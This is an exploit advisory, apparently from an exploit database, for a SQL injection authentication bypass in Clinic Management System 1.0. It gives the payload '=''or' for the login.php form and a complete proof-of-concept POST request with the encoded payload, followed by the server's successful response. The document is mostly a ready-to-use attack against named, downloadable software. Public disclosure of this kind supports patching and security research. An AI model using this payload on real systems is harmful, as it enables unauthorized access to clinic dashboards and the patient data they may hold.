Clinic Management System 1.0 SQL Injection

`# Exploit Title: Clinic Management System 1.0 - Authentication Bypass  
# Google Dork: N/A  
# Date: 2020-06-02  
# Exploit Author: BKpatron  
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip  
# Version: v1.0  
# Tested on: Win 10  
# CVE: N/A  
# my website: bkpatron.com  
  
# Vulnerability: Attacker can bypass login page and access to dashboard page  
# vulnerable file : login.php  
# Parameter & Payload: '=''or'  
# Proof of Concept:  
http://localhost/source%20code/login.php  
  
POST /source%20code/login.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 72  
Referer: http://localhost/source%20code/login.php  
Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
user=admin&email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&btn_login=: undefined  
  
HTTP/1.1 200 OK  
Date: Mon, 01 Jun 2020 19:52:17 GMT  
Server: Apache/2.4.39 (Win64) PHP/7.2.18  
X-Powered-By: PHP/7.2.18  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 4726  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
`